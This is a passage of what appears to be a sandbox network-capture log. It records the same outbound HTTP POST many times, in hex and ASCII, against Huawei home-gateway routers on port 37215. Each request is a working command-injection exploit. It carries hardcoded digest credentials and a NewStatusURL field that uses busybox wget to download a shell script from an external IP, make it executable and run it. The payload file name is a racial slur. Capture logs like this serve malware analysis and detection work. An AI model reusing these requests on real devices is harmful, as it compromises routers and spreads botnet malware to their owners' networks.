s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417157888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:45.121083021 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:02.528590918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.15	50784	31.136.140.95	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.048666954 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.609330893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:29.697407961 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.065306902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417170048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:45.121186972 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 